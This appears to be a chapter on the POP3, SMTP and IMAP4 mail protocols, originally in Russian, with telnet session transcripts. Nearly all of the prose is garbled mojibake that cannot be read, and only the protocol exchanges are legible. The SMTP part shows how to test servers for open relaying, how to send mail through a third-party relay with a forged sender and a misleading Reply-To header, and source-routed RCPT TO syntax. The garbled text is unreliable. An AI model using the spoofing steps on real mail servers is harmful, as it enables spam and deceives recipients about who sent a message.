 ⠪ RFC (Request For Comments)?  ᨫ  ⥪  Internet  室 ন 騥 ᮣ襭  ᨬ묨 ࠧࠡ稪   ⠭⮢  ᮣ襭, 㯭  ᮢ ᯮ짮.
 ࠧࠡ稪  ࠢ  ᢮ ।.  㤥 ࣭ ⥫쭮 ᯥ⭮ 業 , ᫨    ࠦ, 㤥   RFC.
  ᮣ襭 ९ । , ⠪, ਬ, POP3 ⮪ 뢠  RFC-1081, RFC-1082, RFC-1225, RFC-1725, RFC-1939.
 㤠 ᮮ饭  ⮢ 騪 ।ᬮ७  "DELE",  ਭ  ⢥ 㬥 浪  㭨⮦ ᮮ饭.   ਬ஢  ᯮ짮 த஢ :


 +OK QPOP (version 2.52) at mail.computerra.ru starting.

 LIST

 +OK 4 messages (789046 octets)

 1 4363

 2 6078

 3 4933

 4 4644

.

 DELE 1

 +OK message 1 deleted

 LIST

 +OK 3 messages (16655 octets)

 2 6078

 3 4933

 4 4644

.




: ।⢥ ᫥ 樨 㤠 ७㬥樨 ᮮ饭  ந室! .. 㭨⮦ ᮮ饭  <믠>  ᯨ᪠,  ᫥騥   ᮮ饭    ,   ᤢ . 饭  ७㬥஢ ⮫쪮  ᫥饬 ᥠ ࠡ  ࢥ஬.
 蠥  "QUIT". ࢥ 室  ﭨ  ࠭樨 (transaction update)  ࠧ뢠 ᮥ. 룫拉   ᫥騬 ࠧ:



 +OK QPOP (version 2.52) at mail.computerra.ru starting.

 QUIT

 +OK POP3 server at mail.ru signing off




᫨   ࠭樨 ந  ᮥ, ࢥ 믮 ⪠ ࠭樨, .. ਢ ⮢ 騪   ,     砫 ᫥ ᥠ 裡   㤠 ᮮ饭  ⠭묨 (୥, ࠢ쭥 뫮  ᪠,  㤠묨, ᪮  "DELE" 䨧᪨  㭨⮦ 쬠,   砥   㤠, ஥ ந室    ࠭樨; ᫨   ࢥ,   ࠭樨  㤥 믮, -  ᮮ饭 ⠪    㤠묨).
  ᬮ७  ⥫  ⮪ POP3.  ஢ ᠭ ᯥਬ⮢ ॡ   ࢥ, ন饬 ⠪ ७.   室 ࢥ஢  ᯫ⭠ 㦡 ஭  mail.ru.




祭  ࢥ mail.ru



᫥ ᯥ譮 ⠭ TCP-ᮥ, ࢥ mail.ru 頥 ਣ襭, ᮤঠ饥 㭨 䨪 ( 㭪 004    ஬):




ਣ襭 ࢥ mail.ru



 㦥 ⬥砫 饭 ஫,  ⥪⮬ ।  . ᫨ 諥 墠 ଠ樮 ⮪,  ᬮ ⠭ ਣ ஫     ᬥ ᠭ樮஢ ஭  ⥬.  ⥭䨪樨, ⢫塞  ⮩  訢  裡, 뫨 ࠧࠡ⠭ ᯥ樠 ,  ᯥ稢 ࠢ ஢  ﭭ ᬥ ஫.
  ⠪ ⬮, 㥬 <-⪫>, ࠡ⠥ ᫥騬 ࠧ: ࢥ 뫠  砩 ᫥⥫쭮 ᫮ 㥬 ⪮.  ஢뢠 , ᯮ  ⢥  ᢮ ஫,  祭 १ ࠢ ࢥ.  ⮬  ஢ ᯥ樠 ࠧ ࠭ ⠪, ⮡,  ஢ ஫  , 뫮     ஢ , 祬  ॡ஬. ⥬ ࢥ ᠬ⥫쭮   ࠭騬   ஫ 짮⥫  ࠢ 祭 १. ᫨  , ᫥⥫쭮, 짮⥫  ࠢ ஫  . ஡  奬 <-⪫> ᪠뢠   <⠪  Windows NT>  ,   ७,  ⥬᪨ 몫 ਢ  .
쭠 ᫥⥫쭮, ।    ᮥ  ࢥ஬, 뢠 ६ ⪮. ⠭  ਢ ଠ ।⠢ ⪨,  筮   ᫥騩 : processID.clock@hostname,  processID - 䨪 , clock - ﭨ ⠩ ࢥ   ⠭ ᮥ,  hostname -  㧫.   ਬ஢ ६ ⪨   ( ⥪  뤥  ⮬):
 +OK mPOP POP3 server ready 93089.95277996@mail.ru
짮⥫  ६  ᢮ ஫   MD 5,  祭 १ (  ஢ ஫, , 孨᪨  ࠬ⭮, "digest") ।  ࢥ.
騩 ᯥਬ  㡥,  ६ ⪨ ⢨⥫쭮 ࠧ    ᮥ:
 +OK mPOP POP3 server ready <29238.953050801@aport.ru>
 +OK mPOP POP3 server ready <29554.953050821@aport.ru>
 +OK mPOP POP3 server ready <29857.953050839@aport.ru>
 +OK mPOP POP3 server ready <29998.953050848@aport.ru>
 +OK mPOP POP3 server ready <30168.953050858@aport.ru>
 +OK mPOP POP3 server ready <30583.953050881@aport.ru>
 +OK mPOP POP3 server ready <30926.953050900@aport.ru>
 +OK mPOP POP3 server ready <31110.953050913@aport.ru>
 +OK mPOP POP3 server ready <31225.953050927@aport.ru>
 +OK mPOP POP3 server ready <31338.953050940@aport.ru>
 +OK mPOP POP3 server ready <31401.953050949@aport.ru>
 । ࢥ  짮⥫  ஢ ஫ ।ᬮ७  "APOP".  ⠭   室  祭 , 易⥫  ॠ樨, ⮬  ࢥ,  ਭ ⮫쪮  ஫. ਧ ⮣,  ࢥ ন  "APOP" 㦨 稥 ६ ⪨  ப ਣ襭.
ਬ ᯮ짮  APOP ਢ :
 +OK mPOP POP3 server ready 31225.353351917@aport.ru
 APOP ORION d373e6c3a7c6d9c5a2d6c2a1
 +OK ORION's maildrop has 1 messages (789046 octets)
 ਢ ਬ  ⮢ 騪  쬮 ⥫ ࠧ஢, ⮬,  ॡ  ।⥫쭮 ᬮ ࠣ 쬠   㧪 楫 ( ,   ᫠   ᮮ饭     㤠).  ⮩ 楫 ।ᬮ७  "TOP msg n",  뢮 n  ப, ᮮ饭  浪 ஬ msg.
ਬ, "TOP 1 10" 頥   ப  砫 ࢮ 쬠.   룫拉 ⠪:


 +OK mPOP POP3 server ready 31225.353351917@aport.ru

 TOP 1 10

 +OK

 Return-Path: gluck@citycat.ru

 Received: from citycat.ru by mail.ru for mail.ru, au.ru, aport.ru,

 inbox.ru, land.ru with CCQDP. For more info hac@citycat.ru

 Message-Id:<20000306002250_100.20000303142308.promo_@funny.anet.anec>

 Precedence: special-delivery

 Comments: Subscribe.Ru/Citycat E-mail Service. http://subscribe.ru

 Date: Mon, 6 Mar 2000 00:22:47 +0300 (MSK)

 From: CityCat <namma@citycat.ru>

 To: "funny.anet.anec" <null@citycat.ru>

 Subject: =?koi8-r?Q?=E1=CE=C5=CB=C4=CF=D4=20=C4=CE=D1=20=CE=C1=20?=

 =?koi8-r?Q?=C1=CE=C5=CB=C4=CF=D4=CF=D7.net?=

 MIME-Version: 1.0

 Content-Type: text/html; charset=koi8-r

 Content-Transfer-Encoding: 8bit





 <!-

 -*-

 ->

 <HTML> <HEAD>

 <TITLE>㌕ ⁓  </TITLE>

 </HEAD>

 <BODY BGCOLOR="#FFFFFF" LINK="#0A0AD0" VLINK="#AAAAFF">

 <CENTER>

 <B><FONT SIZE=+1>



.




 ⪠ ࠭樨 ( ⠭  㤠  祭 ᫥ ᥠ ᮮ饭)  ᯮ짮  "RSET", 뢠  㬥⮢.    , ᯮᮡ ⠭ , ⭮, ⮥ ᮮ饭.
  "STAT"  "NOOP 㦠  ஢ન ﭨ 騪  楫⭮ ᮥ.  뢠  㬥⮢. ਬ  ᯮ짮 ਢ :


 +OK mPOP POP3 server ready 31225.353351917@aport.ru

 NOOP

 +OK

 STAT

 +OK 196 2097988




ࢮ ᫮, 뤠  "STAT" ᮮ頥 ⢮ ᮮ饭, ࠭  ⮢ 騪,  ஥ ᮤন  㬬 ꥬ  .
 ஡ ᠭ ⮪ POP3  ᬥ   ᮢ    RFC-1081, RFC-1082, RFC-1225, RFC-1725, RFC-1939  㣨 孨᪨ 㪮⢠.








⮪ SMTP


O  ⮩ :
O ᭮  ⮪
O ࢥ-࠭
O ।⢥ 뫪
O ⮬⨧ ⮢ 뫪  ᯠ
O  뫪 ᥬ


 ⠢   設⢥ 砥 ᯮ ⮪ SMTP (Simple Mail Transfer Protocol).


  ᮧ ⮪ SMTP ࠧࠡ稪 뫠 饭 㡠 訡, ᯮ⨢  ஢,  ⥬ ࠬ, ⠪   짮⥫.   砥  ⮬,  ⮪ SMTP  ॡ ⥭䨪樨 짮⥫ । ࠢ ᮮ饭,    ᯮ짮 㦨 ࢥ  ᮢ 뫪.
६ SMTP-ࢥ ᯮ ࠧ  堭, ९騥 ࠢ ᯮ樨 묨 짮⥫ﬨ. ஡  ⮬ ᪠뢠   <⮢ ࢥ >.
 ନ SMTP-⮪  ⠪ ⨩  <>  <ࢥ>.  ⮣   ࠢ⥫ (sender)  ⥫ (receiver). ,  設⢮ 뢠 <SMTP-ࢥ஬>,  ६  ࠢ⥫,  ⥫.   ⠭   ᮥ  । 쬠, ࢥ 㯠  ஫ ⥫,   ⠢ ᮮ饭 , ⠭ ࠢ⥫.
 ⮢ 騪 ।⠢ ᮡ SMTP-⥫, 易   ,  । ᮮ饭  ।.  ⠪ ᯮᮡ  ५ 让 ୮.    㧫     , ⮬  ⠢ ᮮ饭 㤮   ᯥ樠 ࢥ,  뢠 ࢥ஬ 室饩 . ᫨   ࢥ஬ 室饩    ,  ⠪ 室  ࠢ. ⨢, 뫠 쬠 १ , ମ  ⠡쭮 ࠡ饥 ࢥ    뫠.  ⠪ 砥   ᮮ饭 ।⢥  騪 ⥫.   ⮢  ন ⠪ .
ਢ  ਬ ,  ।⢮ ⮪ SMTP ࠢ  ᮮ饭.  蠣 室  telnet- , ⠭ ᮥ  ࠭ SMTP-ࢥ஬ (ਬ, mail.aport.ru)   ⮬ ,  뤠 ਣ襭.




㭮 009 祭  ࢥ mail.aport.ru



 220 camel.mail.ru ESMTP Exim 3.02 #107 Sun, 26 Mar 2000 17:36:24 +0400
  ᨬ 饭 ࢥ஬ ப ।⠢ ᮡ  襭 樨.  祭  ᥢ 訡 ᮤন  RFC-821,    ਢ.
 । ᯮ樨   TCP-ᮥ  筮,  室 ⠭  , ⠪ 뢠 SMTP-ᮥ.  ⨣ 饭 ⢥⭮ ਢ⢨ ࢥ [193]  㪠  㧫  (᫨    )  IP- (᫨    ).


  ᥣ ॡ 㪠뢠 ᢮  .  筮  ந ⥪⮢ ப, ਬ "ABDCEF"


 220 camel.mail.ru ESMTP Exim 3.02 #107 Sun, 26 Mar 2000 17:36:24 +0400

 HELO ppp-15.krintel.ru

 250 camel.mail.ru Hello ppp-15.krintel.ru [195.161.41.239]

⢥⭮ ਢ⢨ ⢫  "HELO

[194]". ࢥ, ⠭ SMTP-ᮥ, 頥  ᯥ譮 襭 樨 (250)   設⢥ 砥 । IP-     .

騬 蠣 ॡ 㪠 ࠢ⥫ ᮮ饭.  ⮣ 室 ᯮ짮  <MAIL FROM>  㪠 ᮡ⢥ ⮢    祭  㣫 ᪮.

ਬ:

 220 camel.mail.ru ESMTP Exim 3.02 #107 Sun, 26 Mar 2000 17:36:24 +0400

 HELO ppp-15.krintel.ru

 250 camel.mail.ru Hello ppp-15.krintel.ru [195.161.41.239]

 MAIL FROM:<kpnc@aport.ru>

 250 <kpnc@aport.ru> is syntactically correct

⥬ 㪠뢠 ⥫ ᮮ饭, ।    "RCPT TO", ਬ ᯮ짮 ன த஢ :

 220 camel.mail.ru ESMTP Exim 3.02 #107 Sun, 26 Mar 2000 17:36:24 +0400

 HELO ppp-15.krintel.ru

 250 camel.mail.ru Hello ppp-15.krintel.ru [195.161.41.239]

 MAIL FROM:<kpnc@aport.ru>

 250 <kpnc@aport.ru> is syntactically correct

 RCPT TO:<kpnc@aport.ru>

 250 <kpnc@aport.ru> verified




  ॡ  ࠢ   ⮣  ᮮ饭 ᪮쪨 ᯮ⠬, 筮 맢 "RCPT TO"   ( ) ࠧ (ᨬ쭮 ⢮ ⥫ 筮  ࠭祭). ᫨ -   ࢥ  쬥 ⠢ ᮮ饭,  ୥ 訡, ,   ᪠뢠  ⠫ ⥫.
 "DATA", 뢠  㬥⮢, ॢ ࢥ   祭 ⥪ 쬠.


 DATA

 354 Enter message, ending with "." on a line by itself




᫥⥫쭮 襭  ।⠢ ᮡ 몭 , <>   ஭ ७ᠬ ப. ᫨ ⠪ ᫥⥫쭮   ⥪ ᮮ饭, ନ஢ 쬠 㤥  襭. ⮢ , 筮 ᯮ ⠪   ਡ  ४஢,   ࠡ  telnet-⮬     짮⥫.
ਬ ᯮ짮  "DATA" ਢ :


 220 camel.mail.ru ESMTP Exim 3.02 #107 Sun, 26 Mar 2000 17:36:24 +0400

 HELO ppp-15.krintel.ru

 250 camel.mail.ru Hello ppp-15.krintel.ru [195.161.41.239]

 MAIL FROM:<kpnc@aport.ru>

 250 <kpnc@aport.ru> is syntactically correct

 RCPT TO:<kpnc@aport.ru>

 250 <kpnc@aport.ru> verified

 Hello, Sailor!

.

 250 OK id=12ZDEd-000Eks-00




 "QUIT" 蠥 ᥠ  뢠 ᮥ.


 quit

 221 camel.mail.ru closing connection




ন 祭 ᮮ饭 (堭 祭 ᮮ饭    짮⥫ ᬮ७   <⮪ POP>  <⮪ IMAP4>)  룫拉, ਬ, ᫥騬 ࠧ:


 From kpnc@aport.ru Sun Mar 26 17:38:03 2000

 Received: from ppp-15.krintel.ru ([195.161.41.239])

 by camel.mail.ru with smtp (Exim 3.02 #107)

 id 12ZDEd-000Eks-00

 for kpnc@aport.ru; Sun, 26 Mar 2000 17:37:59 +0400

 Message-Id: <E12ZDEd-000Eks-00@camel.mail.ru>

 From: kpnc@aport.ru

 Date: Sun, 26 Mar 2000 17:37:59 +0400



 Hello,Sailor!




 㤥 ,  ࠧ 諥 室  ᯮ 㦨 ࢥ 室饩 .   ᯮᮡ ᪠ 饤㯭 SMTP-ࢥ஢ 砥    室饩 ᯮ樨. । 㧫, ⠢ ᢮    "Received", ன  ࢥ,   ॡ ⥭䨪樨 짮⥫  ࠢ ᥬ.
ਬ,    쬠, 饭 ஬ ⮩    ᮡ⢥ ⮢ 騪:
 From irt@chiti.uch.net Wed Mar 22 16:57:03 2000
 Received: from gate.chiti.uch.net ([212.40.40.141])
 by msk2.mail.ru with esmtp (Exim 3.02 #116)
 id 12Xld1-0008jx-00
 for kpnc@aport.ru; Wed, 22 Mar 2000 16:56:59 +0300
 Received: from 13.chiti.uch.net ([192.168.223.13])
 by gate.chiti.uch.net (8.8.8/8.8.8) with SMTP id PAA29678
 for <kpnc@aport.ru>; Wed, 22 Mar 2000 15:51:47 +0200 (EET)
 From: "irt" <irt@chiti.uch.net>
   ⠭,  쬮 뫮 ࠢ   13.chiti.uch.net १ ࢥ 室饩  gate.chiti.uch.net. ᫨ ஡ ⠭   ᮥ,  १  룫拉 ⠪:


 220 gate.chiti.uch.net ESMTP Sendmail 8.8.8/8.8.8; Sun, 26 Mar 2000 16:21:53 +0300 (EEST)




 ஢ન  뫪 ᮮ饭 室 ᫠ ࢥ ਣ襭,  ⥬ ஢ ࠢ⥫  ⥫ 쬠. ਬ,   룫拉 ⠪:


 220 gate.chiti.uch.net ESMTP Sendmail 8.8.8/8.8.8; Sun, 26 Mar 2000 16:21:53 +0300 (EEST)

 HELO kpnc.krintel.ru

 250 gate.chiti.uch.net Hello kpnc.krintel.ru [195.161.41.239], pleased to meet you

 MAIL FROM:<kpnc@id.ru>

 250 <kpnc@id.ru>: Sender ok

 RCPT TO:<kpnc@aport.ru>

 250 <kpnc@aport.ru>: Recipient ok




 ᯥ譮 襭 樨 (250)  ப <Recipient ok> ᢨ⥫  ⮬,  ࢥ ᮣᨫ  뫪. ⠥  ⥪ ᫠   ࠢ 쬮.  - ६ (筮  ॢ饥  ) ᮮ饭  ਩  祭.     룫拉, ਬ, ⠪:


 From kpnc@id.ru Sun Mar 26 17:28:33 2000

 Received: from gate.chiti.uch.net ([212.40.40.141])

 by camel.mail.ru with esmtp (Exim 3.02 #107)

 id 12ZD5a-000Dhm-00

 for kpnc@aport.ru; Sun, 26 Mar 2000 17:28:30 +0400

 Received: from kpnc.krintel.ru (kpnc.krintel.ru [195.161.41.239])

 by gate.chiti.uch.net (8.8.8/8.8.8) with SMTP id QAA02468

 for <kpnc@aport.ru>; Sun, 26 Mar 2000 16:22:44 +0300 (EEST)

 (envelope-from kpnc@id.ru)

 Date: Sun, 26 Mar 2000 16:22:44 +0300 (EEST)

 From: kpnc@id.ru

 Message-Id: <200003261322.QAA02468@gate.chiti.uch.net>




 ⮬ 뤥  ࠢ⥫, 뢠,    ᬮ  . ᫨  뢠 ਥ, । 室 ᥬ ᢮ ⮢ 騪  ஡ ᪠ ⠪,      ᢥ  ࠢ⥫,  ᪫祭 ⮩ ଠ樨,    ᮮ ᠬ.
   ࢥ஢ ᯮ (筥,  - ᯮ   ᠭ ⮩ )   dore.on.ru.   ᯮ짮 ஭ 栬 饭,    ᫥騩 ᯥਬ:


 220 WITHELD FTGate server ready -Fox Mulder

 HELO kpnc.krintel.ru

 250 Ready

 MAIL FROM:<konc@aport.ru>

 250 <konc@aport.ru> Sender Ok

 RCPT TO:<kpnc@aport.ru>

 550 Relaying denied for <kpnc@aport.ru>




ࢥ, ⢨⥫쭮,     ⮪ ।  ,     ६ 뫠  ᯮ  । ࢥ १ ⪠뢠. 祬 ⮢୮ ⭮,   ⮣ ࢥ ᯮ   뫪 ᮮ饭   ᠬ.  ⥪ ⢮ 堭, 饣 ⫨ <᢮>  <㦨>. ࠢ <㦨> ࠭稢 ⠢ ᥬ   ᠬ,  <᢮> ࠧ蠥 ࠢ ᮮ饭   । ࢥ.  ⢨  ⮪ SMTP । ⥭䨪樨 짮⥫, ⫨   㣨  IP  .  짮⥫, 室騥     ࢥ஬,  <᢮>,   [195].
 ᫨ ࢥ  ᭠ 㭪樥 । IP  ⮢,   ⠥ 祣 㣮, ஬  ᯮ짮 ଠ樥, ।⠢ ᠬ ࠢ⥫, ਢ ⮬  ᫮. ⮬,   ᮮ饭  , , 뤠 ᥡ  쭮 짮⥫, 饣 ࠢ ࠢ ᮮ饭   .
  㪠뢠 ᢮ : ਢ ࢥ,  "HELO"  ᮮ頥 ᢮ ,    "MAIL FROM" ਢ ᮡ⢥  .  ࢥ ஢    祭,    ६.
 ᯥਬ, ਢ , ࠢ⥫ ᮮ頥  ᢮ ᮡ⢥ ,    ࢥ,   ⢥ ⭮ , ᯮ   ᮢ  짮⥫ ࢥ (⮡  㧭, 室   ⮣ ࢥ    쬮,  ஡ ᭨  ॣ஢ 짮⥫ ⮤ ॡ):
 220 WITHELD FTGate server ready -Fox Mulder
 HELO dore.on.ru
 250 Ready
 MAIL FROM:<fox@dore.on.ru>
 250 <fox@dore.on.ru> Sender Ok
 RCPT TO:<kpnc@aport.ru>
 250 Recipient Ok
 १ ⠪ , ࢥ    㦤  ᮣᨫ ⠢ 쬮. 祢,  ࠢ⥫ ᮮ饭    ⠭  , ᪮   室 ⮫쪮  ଠ,  ࠢ⥫  ⠢ ᠬ⥫쭮.
 ᮢ 뫪 襣 ᯮᮡ  ਤ㬠 ,    筮 ९᪨ ⠪ ⮤  室.  ⢥  쬮    fox@dore.on.ru! ⮣  , ᫨     "Reply-To", ᮤঠ饥 ⨭  ࠢ⥫ (,   ⥫ ⠢ ᠬ).   룫拉, ਬ, ⠪ ࠧ:
 220 WITHELD FTGate server ready -Fox Mulder
 HELO dore.on.ru
 250 Ready
 MAIL FROM:<fox@dore.on.ru>
 250 <fox@dore.on.ru> Sender Ok
 RCPT TO:<kpnc@id.ru>
 250 Recipient Ok
 data
 354 Start mail input; end with <CRLF>.<CRLF>
 Subject:TEST
 Reply-To:<kpnc@hotmail.com>







 Hello!



.



 250 Ok Message queued
 quit
 221 dore.on.ru Service closing transmission channel
 ⠪ 쬠  룫拉 ਡ⥫쭮 ⠪:
 Received: from relay1.aha.ru ([195.2.83.105] verified)
 by aha.ru (CommuniGate Pro SMTP 3.1b2)
 with ESMTP id 3882573 for kpnc@id.ru; Mon, 05 Jul 1999 20:01:40 +0400
 Received: from warlock.miem.edu.ru (miem-as.ins.ru [195.19.18.226])
 by relay1.aha.ru (8.9.3/8.9.3/aha-r/0.04B) with ESMTP id UAA07173
 for <kpnc@id.ru>; Mon, 5 Jul 1999 20:01:40 +0400 (MSD)
 Received: from dore.miem.edu.ru (rtuis.miem.edu.ru [194.226.32.50])
 by warlock.miem.edu.ru (8.9.3/8.9.3) with ESMTP id UAA00637
 for <kpnc@id.ru>; Mon, 5 Jul 1999 20:00:42 +0400 (MSD)
 Received: from fox by dore.on.ru (FTGate 2, 1, 2, 1);
 Mon, 05 Jul 99 20:02:30 +0400
 Message-ID: <000301bec6ff$c87f5220$16fe7dc1@fox>
 From: <fox@dore.on.ru>
 To: <KPNC@id.ru>
 Subject: TEST
 Reply-To:<kpnc@HotMail.com>
 Date: Mon, 5 Jul 1999 20:02:29 +0400







 Hello!
 ⪥ ⢥ ࠢ⥫, ⮢  ⥫  ᮤন  "Reply-To"  ࠢ 쬮  㪠   .  ⨬   ᯠ  ⨦     ஭,   祭 ⢥⮢  ᮢ  -  㣮.
᫨ ⥫쭮 ᬮ   쬠,    㦨 ᪮쪮 ப "Received".  ⠢ ࠭ ࢥ,  뢠 ﬨ ( ᪮ relay).


 ⮢   ࠢ 쬮 .   ⮣ ਤ ᮡ⢥筮 㪠  ⮩ ࢥ 室饩   ⥫.
ਬ, ⮡ ࠢ 쬮  kpnc@computerra.ru   "OutLock Express" ਤ   < > ( <ࢨ>),  <⢠>  ३   <ࢥ>,   室饩  ࢥ <computerra.ru>.
祢,  ᫨誮 ⮬⥫쭮  ࠪ筮.   ,  ணࠬ ᯥ祭   믮 ⠪  ⮬᪨, 짮⥫  㦤 짮 ० ⮤.
 ⨯筮 ௮⨢ ࢥ 室饩  룫廊 ਡ⥫쭮 ⠪: 稢  ᢮ ᯮ殮 쬮,    ⠭ ᮥ  ⮢ 騪 ⥫,  ࠢ ᫠.  ⮬  ⠫  ⥬  㤭ﬨ,    . ⮬, ப ᯮ ࠭ ᮮ饭. ᫨ 쬮  - 稭    । ,  । ࠭.
࠭ - 筮 ⠪  SMTP-ࢥ,    ⠫, 㦤  ⮩ .  ᨬ  ⮥ ࢥ  뫪 쬠  ஢.  ᮮ饭  ࠢ ,  㣮 -  <>  . ਥ  ४᭮,  ⮫쪮   ᠥ ᮢ ᭮.  ᪭  ࠭ࠬ ⭮ ந宦?  , 쭥訩  쬠   ࠭ ࢥ஢ । ᠬ⥫쭮,    ࠭⨩,    楯   諥.
 ⮪ SMTP  ࠢ⥫ ᠬ⥫쭮   뫪 ᮮ饭 ࠬ  "RCPT TO"  ᮤঠ  ⮫쪮  ⥫,    ࠭樨!
ଠ  ᫥騩:


 RCPT TO:<@s1,@s2,@s3,@sn:name@host>




 s1,s2,s3,sn -  ( IP ) ஬ 墮⮢,  name@host ⮢ 騪 ⥫.   । ᮮ饭 । 㧫 s1 - ᠬ  ࢥ  楯窥.   ࠬ  RCPT TO, <뢠>    ᢮ 㧫:


 RCPT TO:<@s2,@s3,@sn:name@host>




⥬,   ᫥饣 ⥫ - s2. ᫨ ࢥ s1    ⠢ ᯮ樨 ࢥ s2, 쬮 頥  ࠢ⥫  ᮮ饭  訡.  ⨢ 砥     ,  ᮮ饭    ⮢ 騪 ⥫.
⮪ ⠪ 奬 砥  ⮬,   SMTP ࢥ  뫪  । 墮  ਡ  㣠 ᢮ ᮡ⢥ ࠭஢.  ࠧ, ࠭,  쬮  ᯥ譮 ⠢    㧫  㪠 浪.   ᥣ 믮 ﬠ 뫪  ᥤ 墮⠬  楯窥.
⮬,   ࠭ ࢥ஢ ᫮.       ⮫쪮 饭  ஭ থ,    짮 㣠 ஭ ࠭஢.
 ᮦ, 設⢮ ⮢ ⮢, ஢ ४⭮   ⥫,  ⠪  ᨭ⠪᪨ ࠢ쭮  ⪠뢠 ࠢ 쬮. 室  । ࠧ ᪠ telnet  । ᮮ饭 .







    ন  SMTP ࢥ஬    <HELP>,  ஡  祭    "HELP command".



 祭 ⠫쭮 ଠ樨   ⮪ SMTP    RFC-788, RFC-821, RFC-822, RFC-1341, RFC-1342, RFC-1426, RFC-1521, RFC-1806, RFC-1830, RFC-2045, RFC-2046, RFC-2047, RFC-2048, RFC-2049, RFC-2076.








⮪ IMAP4


O  ⮩ 
O ⮨⢠ ⮪ IMAP4
O ᭮ 
O ⥭ ᮮ饭


⮪ IMAP4 (Internet Mail Access Protocol) ᨫ쭮 㯠  ୮ POP3,  ⥫쭮 ॢ室  㭪樮쭮.   ⨢  .  ⫨稥  POP3, IMAP4 । ࠭  ࠡ ᮮ饭  ࢥ, 㤠 ⥪ 室  ﭭ  裡. 設⢮ 짮⥫    ᥡ  ᪮,  ⮬ IMAP4  ᭮ ᯮ   ௮⨢ ,  ﭭ   ࢥ஬ -  ஡.


設⢮ ⥫,   ﭭ ᮥ  Internet, ।  ࠭   ࢥ,     ᢮  騪  ࠡ뢠 ᮮ饭 ᮡ⢥묨 ᪨ ।⢠.
ᥬ   ᪫뢠   ௮⨢ ,  ﭭ  ⠡쭠   ࢥ஬ -  ஡. ᯮ, ࠭  ࢥ, 㯭 ᥬ ⠬, 騬 ᮮ⢥⢥묨 ࠢ 㯠,   饭 (ࠢ   ᠬ ࢥ),   ६  ࠭஢ 楫⭮ ଠ樨  ⢥  設 㤭⥫쭮.
 㣮 ஭,  POP3-騪  ࠭ ⥫ ஬⪨ ६,   㤭  饭 諥. ⨢ ,  IMAP4  ﭭ ࠭ ᥩ    ࢥ.  ᫨  ࢥ  , 諥   ࠧ  ᥩ ᯮ樨.
 ࠡ⪮ ᮮ饭   ᮢ ᯮ     稥 ࠧ 㭪権 ᪠ 室 쬠.   ॠ ࠪ᪨   ⮢ ணࠬ (ਬ, Outlook Express, The Bat), ,  ᯮ짮 ⮪ IMAP4  樨 믮 ࢥ஬,   ⮬.
 室 ਢ  ⥭ᨢ ⢨  ࢥ஬    맢  ॣ㧪. ⮬,  ⮪  ⢠, ⭮ ⨬騥 ᪮ .  ⫨稥  POP3, ⢨   IMAP4 ࢥ஬ ⮨   ਭ樯 <-⢥>,  ந室 ᨭ஭.    뫠 ᫥    ⢥  ।. 冷 ࠡ⪨ ᮢ । ࢥ஬  ᮮࠦ ⨬樨 ᪮ ࠡ,   砥 ⠪,   ࠡ뢠  ⭮ 浪.
    ।     ⭮ ⢥ ࢥ,  ⮪ 뫨  ⥣.  ।     ⢥ ࢥ.
  ⮬ 룫廊 ਡ⥫쭮 ⠪:


 ⥣1  1

 ⥣2  2

 ⥣2 ⢥   2

 ⥣3 3

 ⥣1 ⢥   1

 ⥣3 ⢥   3




 ।⠢ ᮡ  ᨬ쭮-஢ ப,    . ⢥ ࢥ ( ।  ,  ⮬ 砥,   易   㣮)  뫠     ⥣.
  ᥣ ⢨ ந室  ஬ - ஬ ਭ樯 <-⢥>.  ᠬ , ० 祬 뫠 । , ୮   ⢥  ।騩 . ਬ,  ᯮ     ,  ࢥ  뤠 ᯨ᮪  ᮮ饭  ⮢ 騪. ⮬,  ਢ  ਬ 㤥 ᥣ ᯮ짮     ⥣,   ⨬, -  ⮫쪮 室 ⢥ ࢥ, ᯮ짮 ࠭ ⥣,  ⠭ <᢮>.


設⢮ ⠢騪 ᯫ ⥢   ন ⮪ IMAP4. ⮬,  ⠪ ࢥ,      祩. 宩  㤥   ப  ᪮ ⥬ (⠪,  <>)  த <IMAP4+free>







 ᥡ ४ ᯫ⭠ 㦡 "Mailru.com", ।⠢   ᡮ   ⮢ 騪  ⮪ POP3, STMP, IMAP4.
줥  ࠭ 㡮⮣ 孨᪮ ⥪ RFC-1730 㬥   ࠧ  ⮪. ஡ ᠭ IMAP4 ॢ⨫     ⢮  ⮬ ࠢ筮 㪮⢠.    ⮩   ᬮ७  ⥩訥 樨  ⮢ 騪,     ⥭ ᯮ樨.
 砫 ࠡ 室 ⠭ TCP-ᮥ १  ப ⨩ .




祭  mail.softclub.net



१ ᥪ㭤 ᫥ ⠭ ᮥ,  ࠭ telnet-  ਣ襭 ᫥饣 :


 OK joshua.softclub.net IMAP4rev1 v12.250 server ready




ࠧ  ᫥  뤠 ࢥ 室  ﭨ ⥭䨪樨. । ᢮   ஫    ᯮᮡ:  ᯮ짮  "login"  ᫠     ⮬  (  ᥣ  ந室),   饭 ०, ᯮ짮  "authenticate",  । ஢ ஫.   ਢ  梨    ⬮ ஢ ஫   ॠ権.  饬 砥   筮 ,  訡  ॠ権 ᥣ     ᠩ, 饭 ⥢ ᭮.
 ਢ  ਬ  室  ࢥ ᯮ  "login", ᫥  ன    ஫ 짮⥫, ࠧ ஡:
 kpnc login kpnc MyPassword
 kpnc OK LOGIN completed
⢥ ࢥ ⮨   ⥩: 饭 ⥣ "kpnc" [196], 祢 ᫮ "OK", ⢥ত饣 ᯥ譮 襭 樨 ( ⨢ 砥 뫮  "BAD"),  ᫥ ⥪⮢ ப ("LOGIN completed").
  ⢥ত ஫   ⮢ 騪 .  ०, 祬 㯨  ⥭ 㯨襩 ᯮ樨, 室 ,   ࠭  ࢥ. 筮 ,  ,   ᮢ६ ୮ ନ  뢠 , ᯮᮡ   ᥡ -  [197]   ᮤন  । ᠬ 짮⥫,    ⥬ 易⥫쭮   "INBOX",   頥 㯠 ᯮ.
 롮  ।ᬮ७  "SELECT", ᯮ짮 ன த஢  ᫥饬 ਬ:


 kpnc SELECT INBOX

 * FLAGS (\Answered \Flagged \Draft \Deleted \Seen)

 * OK [PERMANENTFLAGS(\Answered\Flagged\Draft\Deleted\Seen \*)]

 * 1 EXISTS

 * 1 RECENT

 * OK [UNSEEN 1]

 * OK [UIDVALIDITY 954332839]

 kpnc OK [READ-WRITE] Completed




箪 窨 㪠뢠  ࠧ뢭 ଠ樮 ⮪.   ,   砫 ப   饭 ⥣,       ।.
 祢 ᫮ "FLAGS"
(冷 ண  ⢥ ந)   㯭 䫠  ᮮ饭  . 祭  ⠪:
 Answered:  ᮮ饭  ࠢ ⢥
 Flagged: ᮮ饭  䫠 (⬥祭 <窮>)
